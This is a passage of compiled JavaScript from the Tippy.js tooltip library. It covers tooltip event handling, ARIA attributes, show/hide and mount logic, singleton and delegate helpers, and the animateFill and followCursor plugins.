(shouldInvokePropsHook === void 0) { shouldInvokePropsHook = true; } pluginsHooks.forEach(function (pluginHooks) { if (pluginHooks[hook]) { pluginHooks[hook].apply(pluginHooks, args); } }); if (shouldInvokePropsHook) { var _instance$props; (_instance$props = instance.props)[hook].apply(_instance$props, args); } } function handleAriaContentAttribute() { var aria = instance.props.aria; if (!aria.content) { return; } var attr = "aria-" + aria.content; var id = popper.id; var nodes = normalizeToArray(instance.props.triggerTarget || reference); nodes.forEach(function (node) { var currentValue = node.getAttribute(attr); if (instance.state.isVisible) { node.setAttribute(attr, currentValue ? currentValue + " " + id : id); } else { var nextValue = currentValue && currentValue.replace(id, '').trim(); if (nextValue) { node.setAttribute(attr, nextValue); } else { node.removeAttribute(attr); } } }); } function handleAriaExpandedAttribute() { if (hasAriaExpanded || !instance.props.aria.expanded) { return; } var nodes = normalizeToArray(instance.props.triggerTarget || reference); nodes.forEach(function (node) { if (instance.props.interactive) { node.setAttribute('aria-expanded', instance.state.isVisible && node === getCurrentTarget() ? 'true' : 'false'); } else { node.removeAttribute('aria-expanded'); } }); } function cleanupInteractiveMouseListeners() { getDocument().removeEventListener('mousemove', debouncedOnMouseMove); mouseMoveListeners = mouseMoveListeners.filter(function (listener) { return listener !== debouncedOnMouseMove; }); } function onDocumentPress(event) { // Moved finger to scroll instead of an intentional tap outside if (currentInput.isTouch) { if (didTouchMove || event.type === 'mousedown') { return; } } var actualTarget = event.composedPath && event.composedPath()[0] || event.target; // Clicked on interactive popper if (instance.props.interactive && actualContains(popper, actualTarget)) { return; } // Clicked on the event listeners target if (normalizeToArray(instance.props.triggerTarget || reference).some(function (el) { return actualContains(el, actualTarget); })) { if (currentInput.isTouch) { return; } if (instance.state.isVisible && instance.props.trigger.indexOf('click') >= 0) { return; } } else { invokeHook('onClickOutside', [instance, event]); } if (instance.props.hideOnClick === true) { instance.clearDelayTimeouts(); instance.hide(); // `mousedown` event is fired right before `focus` if pressing the // currentTarget. This lets a tippy with `focus` trigger know that it // should not show didHideDueToDocumentMouseDown = true; setTimeout(function () { didHideDueToDocumentMouseDown = false; }); // The listener gets added in `scheduleShow()`, but this may be hiding it // before it shows, and hide()'s early bail-out behavior can prevent it // from being cleaned up if (!instance.state.isMounted) { removeDocumentPress(); } } } function onTouchMove() { didTouchMove = true; } function onTouchStart() { didTouchMove = false; } function addDocumentPress() { var doc = getDocument(); doc.addEventListener('mousedown', onDocumentPress, true); doc.addEventListener('touchend', onDocumentPress, TOUCH_OPTIONS); doc.addEventListener('touchstart', onTouchStart, TOUCH_OPTIONS); doc.addEventListener('touchmove', onTouchMove, TOUCH_OPTIONS); } function removeDocumentPress() { var doc = getDocument(); doc.removeEventListener('mousedown', onDocumentPress, true); doc.removeEventListener('touchend', onDocumentPress, TOUCH_OPTIONS); doc.removeEventListener('touchstart', onTouchStart, TOUCH_OPTIONS); doc.removeEventListener('touchmove', onTouchMove, TOUCH_OPTIONS); } function onTransitionedOut(duration, callback) { onTransitionEnd(duration, function () { if (!instance.state.isVisible && popper.parentNode && popper.parentNode.contains(popper)) { callback(); } }); } function onTransitionedIn(duration, callback) { onTransitionEnd(duration, callback); } function onTransitionEnd(duration, callback) { var box = getDefaultTemplateChildren().box; function listener(event) { if (event.target === box) { updateTransitionEndListener(box, 'remove', listener); callback(); } } // Make callback synchronous if duration is 0 // `transitionend` won't fire otherwise if (duration === 0) { return callback(); } updateTransitionEndListener(box, 'remove', currentTransitionEndListener); updateTransitionEndListener(box, 'add', listener); currentTransitionEndListener = listener; } function on(eventType, handler, options) { if (options === void 0) { options = false; } var nodes = normalizeToArray(instance.props.triggerTarget || reference); nodes.forEach(function (node) { node.addEventListener(eventType, handler, options); listeners.push({ node: node, eventType: eventType, handler: handler, options: options }); }); } function addListeners() { if (getIsCustomTouchBehavior()) { on('touchstart', onTrigger, { passive: true }); on('touchend', onMouseLeave, { passive: true }); } splitBySpaces(instance.props.trigger).forEach(function (eventType) { if (eventType === 'manual') { return; } on(eventType, onTrigger); switch (eventType) { case 'mouseenter': on('mouseleave', onMouseLeave); break; case 'focus': on(isIE11 ? 'focusout' : 'blur', onBlurOrFocusOut); break; case 'focusin': on('focusout', onBlurOrFocusOut); break; } }); } function removeListeners() { listeners.forEach(function (_ref) { var node = _ref.node, eventType = _ref.eventType, handler = _ref.handler, options = _ref.options; node.removeEventListener(eventType, handler, options); }); listeners = []; } function onTrigger(event) { var _lastTriggerEvent; var shouldScheduleClickHide = false; if (!instance.state.isEnabled || isEventListenerStopped(event) || didHideDueToDocumentMouseDown) { return; } var wasFocused = ((_lastTriggerEvent = lastTriggerEvent) == null ? void 0 : _lastTriggerEvent.type) === 'focus'; lastTriggerEvent = event; currentTarget = event.currentTarget; handleAriaExpandedAttribute(); if (!instance.state.isVisible && isMouseEvent(event)) { // If scrolling, `mouseenter` events can be fired if the cursor lands // over a new target, but `mousemove` events don't get fired. This // causes interactive tooltips to get stuck open until the cursor is // moved mouseMoveListeners.forEach(function (listener) { return listener(event); }); } // Toggle show/hide when clicking click-triggered tooltips if (event.type === 'click' && (instance.props.trigger.indexOf('mouseenter') < 0 || isVisibleFromClick) && instance.props.hideOnClick !== false && instance.state.isVisible) { shouldScheduleClickHide = true; } else { scheduleShow(event); } if (event.type === 'click') { isVisibleFromClick = !shouldScheduleClickHide; } if (shouldScheduleClickHide && !wasFocused) { scheduleHide(event); } } function onMouseMove(event) { var target = event.target; var isCursorOverReferenceOrPopper = getCurrentTarget().contains(target) || popper.contains(target); if (event.type === 'mousemove' && isCursorOverReferenceOrPopper) { return; } var popperTreeData = getNestedPopperTree().concat(popper).map(function (popper) { var _instance$popperInsta; var instance = popper._tippy; var state = (_instance$popperInsta = instance.popperInstance) == null ? void 0 : _instance$popperInsta.state; if (state) { return { popperRect: popper.getBoundingClientRect(), popperState: state, props: props }; } return null; }).filter(Boolean); if (isCursorOutsideInteractiveBorder(popperTreeData, event)) { cleanupInteractiveMouseListeners(); scheduleHide(event); } } function onMouseLeave(event) { var shouldBail = isEventListenerStopped(event) || instance.props.trigger.indexOf('click') >= 0 && isVisibleFromClick; if (shouldBail) { return; } if (instance.props.interactive) { instance.hideWithInteractivity(event); return; } scheduleHide(event); } function onBlurOrFocusOut(event) { if (instance.props.trigger.indexOf('focusin') < 0 && event.target !== getCurrentTarget()) { return; } // If focus was moved to within the popper if (instance.props.interactive && event.relatedTarget && popper.contains(event.relatedTarget)) { return; } scheduleHide(event); } function isEventListenerStopped(event) { return currentInput.isTouch ? getIsCustomTouchBehavior() !== event.type.indexOf('touch') >= 0 : false; } function createPopperInstance() { destroyPopperInstance(); var _instance$props2 = instance.props, popperOptions = _instance$props2.popperOptions, placement = _instance$props2.placement, offset = _instance$props2.offset, getReferenceClientRect = _instance$props2.getReferenceClientRect, moveTransition = _instance$props2.moveTransition; var arrow = getIsDefaultRenderFn() ? getChildren(popper).arrow : null; var computedReference = getReferenceClientRect ? { getBoundingClientRect: getReferenceClientRect, contextElement: getReferenceClientRect.contextElement || getCurrentTarget() } : reference; var tippyModifier = { name: '$$tippy', enabled: true, phase: 'beforeWrite', requires: ['computeStyles'], fn: function fn(_ref2) { var state = _ref2.state; if (getIsDefaultRenderFn()) { var _getDefaultTemplateCh = getDefaultTemplateChildren(), box = _getDefaultTemplateCh.box; ['placement', 'reference-hidden', 'escaped'].forEach(function (attr) { if (attr === 'placement') { box.setAttribute('data-placement', state.placement); } else { if (state.attributes.popper["data-popper-" + attr]) { box.setAttribute("data-" + attr, ''); } else { box.removeAttribute("data-" + attr); } } }); state.attributes.popper = {}; } } }; var modifiers = [{ name: 'offset', options: { offset: offset } }, { name: 'preventOverflow', options: { padding: { top: 2, bottom: 2, left: 5, right: 5 } } }, { name: 'flip', options: { padding: 5 } }, { name: 'computeStyles', options: { adaptive: !moveTransition } }, tippyModifier]; if (getIsDefaultRenderFn() && arrow) { modifiers.push({ name: 'arrow', options: { element: arrow, padding: 3 } }); } modifiers.push.apply(modifiers, (popperOptions == null ? void 0 : popperOptions.modifiers) || []); instance.popperInstance = createPopper(computedReference, popper, Object.assign({}, popperOptions, { placement: placement, onFirstUpdate: onFirstUpdate, modifiers: modifiers })); } function destroyPopperInstance() { if (instance.popperInstance) { instance.popperInstance.destroy(); instance.popperInstance = null; } } function mount() { var appendTo = instance.props.appendTo; var parentNode; // By default, we'll append the popper to the triggerTargets's parentNode so // it's directly after the reference element so the elements inside the // tippy can be tabbed to // If there are clipping issues, the user can specify a different appendTo // and ensure focus management is handled correctly manually var node = getCurrentTarget(); if (instance.props.interactive && appendTo === TIPPY_DEFAULT_APPEND_TO || appendTo === 'parent') { parentNode = node.parentNode; } else { parentNode = invokeWithArgsOrReturn(appendTo, [node]); } // The popper element needs to exist on the DOM before its position can be // updated as Popper needs to read its dimensions if (!parentNode.contains(popper)) { parentNode.appendChild(popper); } instance.state.isMounted = true; createPopperInstance(); /* istanbul ignore else */ if (process.env.NODE_ENV !== "production") { // Accessibility check warnWhen(instance.props.interactive && appendTo === defaultProps.appendTo && node.nextElementSibling !== popper, ['Interactive tippy element may not be accessible via keyboard', 'navigation because it is not directly after the reference element', 'in the DOM source order.', '\n\n', 'Using a wrapper <div> or <span> tag around the reference element', 'solves this by creating a new parentNode context.', '\n\n', 'Specifying `appendTo: document.body` silences this warning, but it', 'assumes you are using a focus management solution to handle', 'keyboard navigation.', '\n\n', 'See: https://atomiks.github.io/tippyjs/v6/accessibility/#interactivity'].join(' ')); } } function getNestedPopperTree() { return arrayFrom(popper.querySelectorAll('[data-tippy-root]')); } function scheduleShow(event) { instance.clearDelayTimeouts(); if (event) { invokeHook('onTrigger', [instance, event]); } addDocumentPress(); var delay = getDelay(true); var _getNormalizedTouchSe = getNormalizedTouchSettings(), touchValue = _getNormalizedTouchSe[0], touchDelay = _getNormalizedTouchSe[1]; if (currentInput.isTouch && touchValue === 'hold' && touchDelay) { delay = touchDelay; } if (delay) { showTimeout = setTimeout(function () { instance.show(); }, delay); } else { instance.show(); } } function scheduleHide(event) { instance.clearDelayTimeouts(); invokeHook('onUntrigger', [instance, event]); if (!instance.state.isVisible) { removeDocumentPress(); return; } // For interactive tippies, scheduleHide is added to a document.body handler // from onMouseLeave so must intercept scheduled hides from mousemove/leave // events when trigger contains mouseenter and click, and the tip is // currently shown as a result of a click. if (instance.props.trigger.indexOf('mouseenter') >= 0 && instance.props.trigger.indexOf('click') >= 0 && ['mouseleave', 'mousemove'].indexOf(event.type) >= 0 && isVisibleFromClick) { return; } var delay = getDelay(false); if (delay) { hideTimeout = setTimeout(function () { if (instance.state.isVisible) { instance.hide(); } }, delay); } else { // Fixes a `transitionend` problem when it fires 1 frame too // late sometimes, we don't want hide() to be called. scheduleHideAnimationFrame = requestAnimationFrame(function () { instance.hide(); }); } } // =========================================================================== // 🔑 Public methods // =========================================================================== function enable() { instance.state.isEnabled = true; } function disable() { // Disabling the instance should also hide it // https://github.com/atomiks/tippy.js-react/issues/106 instance.hide(); instance.state.isEnabled = false; } function clearDelayTimeouts() { clearTimeout(showTimeout); clearTimeout(hideTimeout); cancelAnimationFrame(scheduleHideAnimationFrame); } function setProps(partialProps) { /* istanbul ignore else */ if (process.env.NODE_ENV !== "production") { warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('setProps')); } if (instance.state.isDestroyed) { return; } invokeHook('onBeforeUpdate', [instance, partialProps]); removeListeners(); var prevProps = instance.props; var nextProps = evaluateProps(reference, Object.assign({}, prevProps, removeUndefinedProps(partialProps), { ignoreAttributes: true })); instance.props = nextProps; addListeners(); if (prevProps.interactiveDebounce !== nextProps.interactiveDebounce) { cleanupInteractiveMouseListeners(); debouncedOnMouseMove = debounce(onMouseMove, nextProps.interactiveDebounce); } // Ensure stale aria-expanded attributes are removed if (prevProps.triggerTarget && !nextProps.triggerTarget) { normalizeToArray(prevProps.triggerTarget).forEach(function (node) { node.removeAttribute('aria-expanded'); }); } else if (nextProps.triggerTarget) { reference.removeAttribute('aria-expanded'); } handleAriaExpandedAttribute(); handleStyles(); if (onUpdate) { onUpdate(prevProps, nextProps); } if (instance.popperInstance) { createPopperInstance(); // Fixes an issue with nested tippies if they are all getting re-rendered, // and the nested ones get re-rendered first. // https://github.com/atomiks/tippyjs-react/issues/177 // TODO: find a cleaner / more efficient solution(!) getNestedPopperTree().forEach(function (nestedPopper) { // React (and other UI libs likely) requires a rAF wrapper as it flushes // its work in one requestAnimationFrame(nestedPopper._tippy.popperInstance.forceUpdate); }); } invokeHook('onAfterUpdate', [instance, partialProps]); } function setContent(content) { instance.setProps({ content: content }); } function show() { /* istanbul ignore else */ if (process.env.NODE_ENV !== "production") { warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('show')); } // Early bail-out var isAlreadyVisible = instance.state.isVisible; var isDestroyed = instance.state.isDestroyed; var isDisabled = !instance.state.isEnabled; var isTouchAndTouchDisabled = currentInput.isTouch && !instance.props.touch; var duration = getValueAtIndexOrReturn(instance.props.duration, 0, defaultProps.duration); if (isAlreadyVisible || isDestroyed || isDisabled || isTouchAndTouchDisabled) { return; } // Normalize `disabled` behavior across browsers. // Firefox allows events on disabled elements, but Chrome doesn't. // Using a wrapper element (i.e. <span>) is recommended. if (getCurrentTarget().hasAttribute('disabled')) { return; } invokeHook('onShow', [instance], false); if (instance.props.onShow(instance) === false) { return; } instance.state.isVisible = true; if (getIsDefaultRenderFn()) { popper.style.visibility = 'visible'; } handleStyles(); addDocumentPress(); if (!instance.state.isMounted) { popper.style.transition = 'none'; } // If flipping to the opposite side after hiding at least once, the // animation will use the wrong placement without resetting the duration if (getIsDefaultRenderFn()) { var _getDefaultTemplateCh2 = getDefaultTemplateChildren(), box = _getDefaultTemplateCh2.box, content = _getDefaultTemplateCh2.content; setTransitionDuration([box, content], 0); } onFirstUpdate = function onFirstUpdate() { var _instance$popperInsta2; if (!instance.state.isVisible || ignoreOnFirstUpdate) { return; } ignoreOnFirstUpdate = true; // reflow void popper.offsetHeight; popper.style.transition = instance.props.moveTransition; if (getIsDefaultRenderFn() && instance.props.animation) { var _getDefaultTemplateCh3 = getDefaultTemplateChildren(), _box = _getDefaultTemplateCh3.box, _content = _getDefaultTemplateCh3.content; setTransitionDuration([_box, _content], duration); setVisibilityState([_box, _content], 'visible'); } handleAriaContentAttribute(); handleAriaExpandedAttribute(); pushIfUnique(mountedInstances, instance); // certain modifiers (e.g. `maxSize`) require a second update after the // popper has been positioned for the first time (_instance$popperInsta2 = instance.popperInstance) == null ? void 0 : _instance$popperInsta2.forceUpdate(); invokeHook('onMount', [instance]); if (instance.props.animation && getIsDefaultRenderFn()) { onTransitionedIn(duration, function () { instance.state.isShown = true; invokeHook('onShown', [instance]); }); } }; mount(); } function hide() { /* istanbul ignore else */ if (process.env.NODE_ENV !== "production") { warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('hide')); } // Early bail-out var isAlreadyHidden = !instance.state.isVisible; var isDestroyed = instance.state.isDestroyed; var isDisabled = !instance.state.isEnabled; var duration = getValueAtIndexOrReturn(instance.props.duration, 1, defaultProps.duration); if (isAlreadyHidden || isDestroyed || isDisabled) { return; } invokeHook('onHide', [instance], false); if (instance.props.onHide(instance) === false) { return; } instance.state.isVisible = false; instance.state.isShown = false; ignoreOnFirstUpdate = false; isVisibleFromClick = false; if (getIsDefaultRenderFn()) { popper.style.visibility = 'hidden'; } cleanupInteractiveMouseListeners(); removeDocumentPress(); handleStyles(true); if (getIsDefaultRenderFn()) { var _getDefaultTemplateCh4 = getDefaultTemplateChildren(), box = _getDefaultTemplateCh4.box, content = _getDefaultTemplateCh4.content; if (instance.props.animation) { setTransitionDuration([box, content], duration); setVisibilityState([box, content], 'hidden'); } } handleAriaContentAttribute(); handleAriaExpandedAttribute(); if (instance.props.animation) { if (getIsDefaultRenderFn()) { onTransitionedOut(duration, instance.unmount); } } else { instance.unmount(); } } function hideWithInteractivity(event) { /* istanbul ignore else */ if (process.env.NODE_ENV !== "production") { warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('hideWithInteractivity')); } getDocument().addEventListener('mousemove', debouncedOnMouseMove); pushIfUnique(mouseMoveListeners, debouncedOnMouseMove); debouncedOnMouseMove(event); } function unmount() { /* istanbul ignore else */ if (process.env.NODE_ENV !== "production") { warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('unmount')); } if (instance.state.isVisible) { instance.hide(); } if (!instance.state.isMounted) { return; } destroyPopperInstance(); // If a popper is not interactive, it will be appended outside the popper // tree by default. This seems mainly for interactive tippies, but we should // find a workaround if possible getNestedPopperTree().forEach(function (nestedPopper) { nestedPopper._tippy.unmount(); }); if (popper.parentNode) { popper.parentNode.removeChild(popper); } mountedInstances = mountedInstances.filter(function (i) { return i !== instance; }); instance.state.isMounted = false; invokeHook('onHidden', [instance]); } function destroy() { /* istanbul ignore else */ if (process.env.NODE_ENV !== "production") { warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('destroy')); } if (instance.state.isDestroyed) { return; } instance.clearDelayTimeouts(); instance.unmount(); removeListeners(); delete reference._tippy; instance.state.isDestroyed = true; invokeHook('onDestroy', [instance]); } } function tippy(targets, optionalProps) { if (optionalProps === void 0) { optionalProps = {}; } var plugins = defaultProps.plugins.concat(optionalProps.plugins || []); /* istanbul ignore else */ if (process.env.NODE_ENV !== "production") { validateTargets(targets); validateProps(optionalProps, plugins); } bindGlobalEventListeners(); var passedProps = Object.assign({}, optionalProps, { plugins: plugins }); var elements = getArrayOfElements(targets); /* istanbul ignore else */ if (process.env.NODE_ENV !== "production") { var isSingleContentElement = isElement(passedProps.content); var isMoreThanOneReferenceElement = elements.length > 1; warnWhen(isSingleContentElement && isMoreThanOneReferenceElement, ['tippy() was passed an Element as the `content` prop, but more than', 'one tippy instance was created by this invocation. This means the', 'content element will only be appended to the last tippy instance.', '\n\n', 'Instead, pass the .innerHTML of the element, or use a function that', 'returns a cloned version of the element instead.', '\n\n', '1) content: element.innerHTML\n', '2) content: () => element.cloneNode(true)'].join(' ')); } var instances = elements.reduce(function (acc, reference) { var instance = reference && createTippy(reference, passedProps); if (instance) { acc.push(instance); } return acc; }, []); return isElement(targets) ? instances[0] : instances; } tippy.defaultProps = defaultProps; tippy.setDefaultProps = setDefaultProps; tippy.currentInput = currentInput; var hideAll = function hideAll(_temp) { var _ref = _temp === void 0 ? {} : _temp, excludedReferenceOrInstance = _ref.exclude, duration = _ref.duration; mountedInstances.forEach(function (instance) { var isExcluded = false; if (excludedReferenceOrInstance) { isExcluded = isReferenceElement(excludedReferenceOrInstance) ? instance.reference === excludedReferenceOrInstance : instance.popper === excludedReferenceOrInstance.popper; } if (!isExcluded) { var originalDuration = instance.props.duration; instance.setProps({ duration: duration }); instance.hide(); if (!instance.state.isDestroyed) { instance.setProps({ duration: originalDuration }); } } }); }; // every time the popper is destroyed (i.e. a new target), removing the styles // and causing transitions to break for singletons when the console is open, but // most notably for non-transform styles being used, `gpuAcceleration: false`. var applyStylesModifier = Object.assign({}, applyStyles, { effect: function effect(_ref) { var state = _ref.state; var initialStyles = { popper: { position: state.options.strategy, left: '0', top: '0', margin: '0' }, arrow: { position: 'absolute' }, reference: {} }; Object.assign(state.elements.popper.style, initialStyles.popper); state.styles = initialStyles; if (state.elements.arrow) { Object.assign(state.elements.arrow.style, initialStyles.arrow); } // intentionally return no cleanup function // return () => { ... } } }); var createSingleton = function createSingleton(tippyInstances, optionalProps) { var _optionalProps$popper; if (optionalProps === void 0) { optionalProps = {}; } /* istanbul ignore else */ if (process.env.NODE_ENV !== "production") { errorWhen(!Array.isArray(tippyInstances), ['The first argument passed to createSingleton() must be an array of', 'tippy instances. The passed value was', String(tippyInstances)].join(' ')); } var individualInstances = tippyInstances; var references = []; var triggerTargets = []; var currentTarget; var overrides = optionalProps.overrides; var interceptSetPropsCleanups = []; var shownOnCreate = false; function setTriggerTargets() { triggerTargets = individualInstances.map(function (instance) { return normalizeToArray(instance.props.triggerTarget || instance.reference); }).reduce(function (acc, item) { return acc.concat(item); }, []); } function setReferences() { references = individualInstances.map(function (instance) { return instance.reference; }); } function enableInstances(isEnabled) { individualInstances.forEach(function (instance) { if (isEnabled) { instance.enable(); } else { instance.disable(); } }); } function interceptSetProps(singleton) { return individualInstances.map(function (instance) { var originalSetProps = instance.setProps; instance.setProps = function (props) { originalSetProps(props); if (instance.reference === currentTarget) { singleton.setProps(props); } }; return function () { instance.setProps = originalSetProps; }; }); } // have to pass singleton, as it maybe undefined on first call function prepareInstance(singleton, target) { var index = triggerTargets.indexOf(target); // bail-out if (target === currentTarget) { return; } currentTarget = target; var overrideProps = (overrides || []).concat('content').reduce(function (acc, prop) { acc[prop] = individualInstances[index].props[prop]; return acc; }, {}); singleton.setProps(Object.assign({}, overrideProps, { getReferenceClientRect: typeof overrideProps.getReferenceClientRect === 'function' ? overrideProps.getReferenceClientRect : function () { var _references$index; return (_references$index = references[index]) == null ? void 0 : _references$index.getBoundingClientRect(); } })); } enableInstances(false); setReferences(); setTriggerTargets(); var plugin = { fn: function fn() { return { onDestroy: function onDestroy() { enableInstances(true); }, onHidden: function onHidden() { currentTarget = null; }, onClickOutside: function onClickOutside(instance) { if (instance.props.showOnCreate && !shownOnCreate) { shownOnCreate = true; currentTarget = null; } }, onShow: function onShow(instance) { if (instance.props.showOnCreate && !shownOnCreate) { shownOnCreate = true; prepareInstance(instance, references[0]); } }, onTrigger: function onTrigger(instance, event) { prepareInstance(instance, event.currentTarget); } }; } }; var singleton = tippy(div(), Object.assign({}, removeProperties(optionalProps, ['overrides']), { plugins: [plugin].concat(optionalProps.plugins || []), triggerTarget: triggerTargets, popperOptions: Object.assign({}, optionalProps.popperOptions, { modifiers: [].concat(((_optionalProps$popper = optionalProps.popperOptions) == null ? void 0 : _optionalProps$popper.modifiers) || [], [applyStylesModifier]) }) })); var originalShow = singleton.show; singleton.show = function (target) { originalShow(); // first time, showOnCreate or programmatic call with no params // default to showing first instance if (!currentTarget && target == null) { return prepareInstance(singleton, references[0]); } // triggered from event (do nothing as prepareInstance already called by onTrigger) // programmatic call with no params when already visible (do nothing again) if (currentTarget && target == null) { return; } // target is index of instance if (typeof target === 'number') { return references[target] && prepareInstance(singleton, references[target]); } // target is a child tippy instance if (individualInstances.indexOf(target) >= 0) { var ref = target.reference; return prepareInstance(singleton, ref); } // target is a ReferenceElement if (references.indexOf(target) >= 0) { return prepareInstance(singleton, target); } }; singleton.showNext = function () { var first = references[0]; if (!currentTarget) { return singleton.show(0); } var index = references.indexOf(currentTarget); singleton.show(references[index + 1] || first); }; singleton.showPrevious = function () { var last = references[references.length - 1]; if (!currentTarget) { return singleton.show(last); } var index = references.indexOf(currentTarget); var target = references[index - 1] || last; singleton.show(target); }; var originalSetProps = singleton.setProps; singleton.setProps = function (props) { overrides = props.overrides || overrides; originalSetProps(props); }; singleton.setInstances = function (nextInstances) { enableInstances(true); interceptSetPropsCleanups.forEach(function (fn) { return fn(); }); individualInstances = nextInstances; enableInstances(false); setReferences(); setTriggerTargets(); interceptSetPropsCleanups = interceptSetProps(singleton); singleton.setProps({ triggerTarget: triggerTargets }); }; interceptSetPropsCleanups = interceptSetProps(singleton); return singleton; }; var BUBBLING_EVENTS_MAP = { mouseover: 'mouseenter', focusin: 'focus', click: 'click' }; /** * Creates a delegate instance that controls the creation of tippy instances * for child elements (`target` CSS selector). */ function delegate(targets, props) { /* istanbul ignore else */ if (process.env.NODE_ENV !== "production") { errorWhen(!(props && props.target), ['You must specity a `target` prop indicating a CSS selector string matching', 'the target elements that should receive a tippy.'].join(' ')); } var listeners = []; var childTippyInstances = []; var disabled = false; var target = props.target; var nativeProps = removeProperties(props, ['target']); var parentProps = Object.assign({}, nativeProps, { trigger: 'manual', touch: false }); var childProps = Object.assign({ touch: defaultProps.touch }, nativeProps, { showOnCreate: true }); var returnValue = tippy(targets, parentProps); var normalizedReturnValue = normalizeToArray(returnValue); function onTrigger(event) { if (!event.target || disabled) { return; } var targetNode = event.target.closest(target); if (!targetNode) { return; } // Get relevant trigger with fallbacks: // 1. Check `data-tippy-trigger` attribute on target node // 2. Fallback to `trigger` passed to `delegate()` // 3. Fallback to `defaultProps.trigger` var trigger = targetNode.getAttribute('data-tippy-trigger') || props.trigger || defaultProps.trigger; // @ts-ignore if (targetNode._tippy) { return; } if (event.type === 'touchstart' && typeof childProps.touch === 'boolean') { return; } if (event.type !== 'touchstart' && trigger.indexOf(BUBBLING_EVENTS_MAP[event.type]) < 0) { return; } var instance = tippy(targetNode, childProps); if (instance) { childTippyInstances = childTippyInstances.concat(instance); } } function on(node, eventType, handler, options) { if (options === void 0) { options = false; } node.addEventListener(eventType, handler, options); listeners.push({ node: node, eventType: eventType, handler: handler, options: options }); } function addEventListeners(instance) { var reference = instance.reference; on(reference, 'touchstart', onTrigger, TOUCH_OPTIONS); on(reference, 'mouseover', onTrigger); on(reference, 'focusin', onTrigger); on(reference, 'click', onTrigger); } function removeEventListeners() { listeners.forEach(function (_ref) { var node = _ref.node, eventType = _ref.eventType, handler = _ref.handler, options = _ref.options; node.removeEventListener(eventType, handler, options); }); listeners = []; } function applyMutations(instance) { var originalDestroy = instance.destroy; var originalEnable = instance.enable; var originalDisable = instance.disable; instance.destroy = function (shouldDestroyChildInstances) { if (shouldDestroyChildInstances === void 0) { shouldDestroyChildInstances = true; } if (shouldDestroyChildInstances) { childTippyInstances.forEach(function (instance) { instance.destroy(); }); } childTippyInstances = []; removeEventListeners(); originalDestroy(); }; instance.enable = function () { originalEnable(); childTippyInstances.forEach(function (instance) { return instance.enable(); }); disabled = false; }; instance.disable = function () { originalDisable(); childTippyInstances.forEach(function (instance) { return instance.disable(); }); disabled = true; }; addEventListeners(instance); } normalizedReturnValue.forEach(applyMutations); return returnValue; } var animateFill = { name: 'animateFill', defaultValue: false, fn: function fn(instance) { var _instance$props$rende; // @ts-ignore if (!((_instance$props$rende = instance.props.render) != null && _instance$props$rende.$$tippy)) { if (process.env.NODE_ENV !== "production") { errorWhen(instance.props.animateFill, 'The `animateFill` plugin requires the default render function.'); } return {}; } var _getChildren = getChildren(instance.popper), box = _getChildren.box, content = _getChildren.content; var backdrop = instance.props.animateFill ? createBackdropElement() : null; return { onCreate: function onCreate() { if (backdrop) { box.insertBefore(backdrop, box.firstElementChild); box.setAttribute('data-animatefill', ''); box.style.overflow = 'hidden'; instance.setProps({ arrow: false, animation: 'shift-away' }); } }, onMount: function onMount() { if (backdrop) { var transitionDuration = box.style.transitionDuration; var duration = Number(transitionDuration.replace('ms', '')); // The content should fade in after the backdrop has mostly filled the // tooltip element. `clip-path` is the other alternative but is not // well-supported and is buggy on some devices. content.style.transitionDelay = Math.round(duration / 10) + "ms"; backdrop.style.transitionDuration = transitionDuration; setVisibilityState([backdrop], 'visible'); } }, onShow: function onShow() { if (backdrop) { backdrop.style.transitionDuration = '0ms'; } }, onHide: function onHide() { if (backdrop) { setVisibilityState([backdrop], 'hidden'); } } }; } }; function createBackdropElement() { var backdrop = div(); backdrop.className = BACKDROP_CLASS; setVisibilityState([backdrop], 'hidden'); return backdrop; } var mouseCoords = { clientX: 0, clientY: 0 }; var activeInstances = []; function storeMouseCoords(_ref) { var clientX = _ref.clientX, clientY = _ref.clientY; mouseCoords = { clientX: clientX, clientY: clientY }; } function addMouseCoordsListener(doc) { doc.addEventListener('mousemove', storeMouseCoords); } function removeMouseCoordsListener(doc) { doc.removeEventListener('mousemove', storeMouseCoords); } var followCursor = { name: 'followCursor', defaultValue: false, fn: function fn(instance) { var reference = instance.reference; var doc = getOwnerDocument(instance.props.triggerTarget || reference); var isInternalUpdate = false; var wasFocusEvent = false; var isUnmounted = true; var prevProps = instance.props; function getIsInitialBehavior() { return instance.props.followCursor === 'initial' && instance.state.isVisible; } function addListener() { doc.addEventListener('mousemove', onMouseMove); } function removeListener() { doc.removeEventListener('mousemove', onMouseMove); } function unsetGetReferenceClientRect() { isInternalUpdate = true; instance.setProps({ getReferenceClientRect: null }); isInternalUpdate = false; } function onMouseMove(event) { // If the instance is interactive, avoid updating the position unless it's // over the reference element var isCursorOverReference = event.target ? reference.contains(event.target) : true; var followCursor = instance.props.followCursor; var clientX = event.clientX, clientY = event.clientY; var rect = reference.getBoundingClientRect(); var relativeX = clientX - rect.left; var relativeY = clientY - rect.top; if (isCursorOverReference || !instance.props.interactive) { instance.setProps({ // @ts-ignore - unneeded DOMRect properties getReferenceClientRect: function getReferenceClientRect() { var rect = reference.getBoundingClientRect(); var x = clientX; var y = clientY; if (followCursor === 'initial') { x = rect.left + relativeX; y = rect.top + relativeY; } var top = followCursor === 'horizontal' ? rect.top : y; var right = followCursor === 'vertical' ? rect.right : x; var bottom = followCursor === 'horizontal' ? rect.bottom : y; var left = followCursor === 'vertical' ? rect.left : x; return { width: right - left, height: bottom - top, top: top, right: right, bottom: bottom, left: left }; } }); } } function create() { if (instance.props.followCursor) { activeInstances.push({ instance: instance, doc: doc }); addMouseCoordsListener(doc); } } function destroy() { activeInstances = activeInstances.filter(function (data) { return data.instance !== instance; }); if (activeInstances.filter(function (data) { return data.doc === doc; }).length === 0) { removeMouseCoordsListener(doc); } } return { onCreate: create, onDestroy: destroy, onBeforeUpdate: function onBeforeUpdate() { prevProps = instance.props; }, onAfterUpdate: function onAfterUpdate(_, _ref2) { var followCursor = _ref2.followCursor; if (isInternalUpdate) { return; } if (followCursor !== undefined && prevProps.followCursor !== followCursor) { destroy(); if (followCursor) { create(); if (instance.state.isMounted && !wasFocusEvent && !getIsInitialBehavior()) { addListener(); } } else { removeListener(); unsetGetReferenceClientRect(); } } }, onMount: function onMount() { if (instance.props.followCursor && !wasFocusEvent) { if (isUnmounted) { onMouseMove(mouseCoords); isUnmounted = false; } if (!getIsInitialBehavior()) { 